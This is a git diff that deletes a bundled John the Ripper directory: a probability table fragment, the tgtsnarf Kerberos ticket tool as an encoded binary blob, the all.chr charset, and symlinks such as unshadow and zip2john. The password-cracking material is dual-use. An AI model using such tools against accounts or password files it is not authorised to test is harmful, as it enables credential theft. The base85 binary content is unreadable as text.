-45=proba2[122*256+116] -34=proba2[122*256+117] -54=proba2[122*256+118] -47=proba2[122*256+119] -45=proba2[122*256+120] -35=proba2[122*256+121] -24=proba2[122*256+122] -87=proba2[122*256+126] -104=proba1[123] -19=proba2[123*256+75] -19=proba2[123*256+91] -19=proba2[123*256+97] -19=proba2[123*256+102] -19=proba2[123*256+114] -19=proba2[123*256+122] -19=proba2[123*256+124] -111=proba1[124] -20=proba2[124*256+38] -20=proba2[124*256+41] -20=proba2[124*256+45] -20=proba2[124*256+53] -20=proba2[124*256+82] -20=proba2[124*256+106] -20=proba2[124*256+108] -20=proba2[124*256+109] -118=proba1[125] -13=proba2[125*256+54] -13=proba2[125*256+66] -13=proba2[125*256+101] -13=proba2[125*256+115] -111=proba1[126] -13=proba2[126*256+86] -13=proba2[126*256+98] -13=proba2[126*256+115] -13=proba2[126*256+122] diff --git a/data/john/run.linux.x86.any/tgtsnarf b/data/john/run.linux.x86.any/tgtsnarf deleted file mode 100755 index dd9314d6837a43d5e0d862e4b2135bc7965784c2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7928 zcmb_h0dP~tnO@m4R)~WXqU4-Z3Ci`Em^M)iIF~>SXM!n&dJ0s&`sAKfMHx>T(o8PbgSp<7W|)*|IUor~&Dm#4j+yhNX`4ARIbTU;p0U#d$|VjY z=)Q0Do)MR$LuYQ`_rKr2|NrmqzyI!g+V>YLn!o07ID}owM7bau%{pE6;DfgnTk3^h zREk>hC2^aW0TJ8kd!YjwL!DFsa)Qc1UO4gYaJoo00h8E9-y~UJD?m+uA_R%{!c%OQ zvLB%h)DMGQAok1lGO!KM-+(sK8DJ9I*$1f>`nBkrZ2NnokuCQ| zJMM`_V(IOHR6MYtXp64p*jGNXPTF!Dv~huM1l538ZU@~7V(2KRPBn;n^zo;ln?ZgM zrh%9WaSI4T7Po@_P?0f$0{ga0rB%5eTmgL<#JS!8Vz~~)_`5-~L3Z(?;sf1b3Ak>v ztoj`AnO40DoNd&#=iD#+j@}O=*W32&^Nmx__bgxWtI54zKQ;Kkxt#CaCpY-Q>q4H_ z^JizB{^ftoS~&bkY4@-|j>x~oKYlR!v5Oy-1q=#GCpeAAB`U^{_?U&6!o)yb5q}4EAMC-tMe&HUg%t3K5}bzol^2~Z=HHFTxN@|=gZ3h> z7Ek{#{eOktyCv<6+XsJH^gml%FYX8Kfj=I_e z!OpIDESSBuIctVfF(4r@k?OGBeLaig65D7Jz zj2CgJeOs_y+ZGImB2ke@>+M=72?KZ);Z9Xg(KxEc1nTf6A~97DhB`WuqD$>!KS{Oy zsc(oTm5k^rg?gk*jfXoz-J(4jPpNdvA%zpkNK6lllp5>M z;}~JP-knf`dOV%LAcN6(J7f&5700d+2bNS-5mY-udI+ruTd@%$Om=1S!w)SFE(p|5 z*A`CK>bQO^WncJL{sjqjoYPVV&P4}Mk&1uI1@oV0DT_A}!BOWFIph{)H%VMBc3RjY zahdoVV3t+LpBbn#k1DWHn4c9m@R)}ccjCDMUWxWLavXe{$&tVvC34IS$VravaLN8E95x1cah_u z{2@6W9DB&|z}QQU2gp8hJYe>d;{kGr91owv@!;EICWFeY8S zOWuP=p;t}#j6vt${sN%z_HMGAr|<3b#7G6(9mj_Tiu$`-@!HilsL$pY1uEAab1IY- zMxj$$j7d+nM{(tP6kk?XoH#eM)x9Fdgpx{cw_RTOzXO@+%A3v;Aue z`LzXOtn%o%Ytd3|U;X*~<0B7!CPp5*2)Y3J6f`A_(->I#o$OT3 zr(jA>OwWZWRT;ycq5S^23`+j+U1X1~UyDYM`@o#cN&R+n&F6(e_S5W0?iTlvp`7#E z{SM=(!+qe^%*pg*c534j!J&y8O2ao`O!^SNYWVPH+Z4~6Oiu*T>prlu!Wg@R80fRJ z?=q}8G()Z081@b2ADxk{Qu4t{vko0Ph7js}%3*$)U?f|wL=Sor(AIPucUs!QzrVH(_Dh zpzl=76VOMG=6-Nv*tO9ZbPNqxVOfWOU`}vTkAT%t{dNxI*dflWui(y<;p9Emq&NeJ z9(#Z8BIJYa%sJo@#5Li_x1ukvLM4XSoP-8|3x)#8^;8SGd_ae=X*T6MYVxm@*HRgU8^3;`agh_SgdbFnfA zhbylmwR#k19@!kWoR$gJWcUS@Qq!mp5aN-Jc)vU$CRQ%?>m~`J@cF5g-1}&JG zKmV*89h7~ZqLG&z+3SIfKVC$(71?YpWb9L!PyNG?=QBz*dPYL|pyEXb(=#4O7jur4zzAUr%$ajszBa{WHeA{3Y(Xf+d_`7R|;E~GTw6L^tsLQ zSz!w~@Aa0?8McrdaDz{BX>rLUw&zRY3c1-duDtGJjDfUA^r1+Cg>v_X|KC)7e zyFxp6J+w@@HgA)#RjLxtr?}8&UK+{)p zH;=+*-Y>BoyvBqh-|(XQxu>~f=CH>Lm_aV?GB!s|JLUl=^c zc>1_W6pUHn}#h+oa1bPku>nxEwuT` zRc&@&)#jP2+JvrZvl1=ENuR*fO2%Rjer~DLrh`s<=(9>)wjFfY`XBSKwkO+kPzHfh zeV=lBs%-~7w*JVK`d-`rYgg)5+xjnFsqe$?vQ3^rlblOmeQ|GLM#5Zl9{ZwAQ6|31 zoZ@z4s+9j;KDx{Cnu9~y!*!w?Y%Q~%JuG<_c}9cYq5BX(Kcf~>X3;0<_l@Byc`D?53SRx;pT9MC^WGK@4}JFhlZDZo z(MUMqgd}~&76y;B!kLLGkIZY=iK zq-IWExbW72*B~Mk7TfAYO=_`Hlj46-6Iifa%*Vy;dNrAf#A8J}?a!C3hu1apnF5QnC51wA`w%wfH8B^A3ZrC%o^%wSc_m!W)NJg*)s2zEp_UejE1@z=Ijw zSAZvg+2fDl7}pB&t^?NrvM^rF$POGWVid#^o3Bu~9uQvmXZ`$loGz@m@Pl|C>;hpO z<;xfQYjHh4&tD(FMU=mG-IjDr zPZ!ZW^V1S7oG1R@HS4e0=e28I`#AqNpMjKyJ3u|OMFemIs3sF45R2<-VA(?t-=l{* zMW8d54rrm2CITJZu~c_gk?YA~%TvW2bp;5bEvZJSU#ujeI=$m2G@z^7@mJor29j}k zbr?{!U^vNZ%0RmwPo~g8k!@{Gs-R3+H}e zesh1w?@|EV19o8>3uXMCLOuEY2n~MJ?ZW-ZQUl`Nq#pMxzYC06GBEl5g}Qfw@TL%# z{;+>*QCS5UZCR*8;=2&XNImZJ1S%~c?t8eFI($iA2;yF+9?ykA81p=^i(P#X0`6(* zaX)W`qt&R}{ZdZiSa=4o&U0Wt^cqnw?H5pf55U!?wBb2&9twV7+aKq^&A1t4>+#(2 zBA7gnsK>L;){CIdv9ceYe;+`v4t2XwkEH`->v?fLc+tr|dy;6Q9w}a;$8VRT7{p$7 zXcfkeh2JM^fBde{gL_nd!?KIr?=uikk8ybkdM`n5kF5l5>lvuqdX0F2ZN!0Vw^7}$ z=Pf<19iNT-zR7sm#nyWP0{Wv~GxVCTqW4!Ndc1gRy-L5kpvM@~pZs15y)%{!OpcG^ z_%X=tchw%`bM@u1+j<=1YbAPo-ZVq6bR$xSbg)Ek5PE~qD_M@|xcnpZ*gwa|x9Ahl l{d{{Zb2tEB({ diff --git a/data/john/run.linux.x86.any/unafs b/data/john/run.linux.x86.any/unafs deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x86.any/unafs +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.any/undrop b/data/john/run.linux.x86.any/undrop deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x86.any/undrop +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.any/unique b/data/john/run.linux.x86.any/unique deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x86.any/unique +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.any/unshadow b/data/john/run.linux.x86.any/unshadow deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x86.any/unshadow +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.any/zip2john b/data/john/run.linux.x86.any/zip2john deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x86.any/zip2john +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.mmx/all.chr b/data/john/run.linux.x86.mmx/all.chr deleted file mode 100644 index 6c8c9dff534defb88d762c45ffb5cd6d3c218e67..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 341064 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 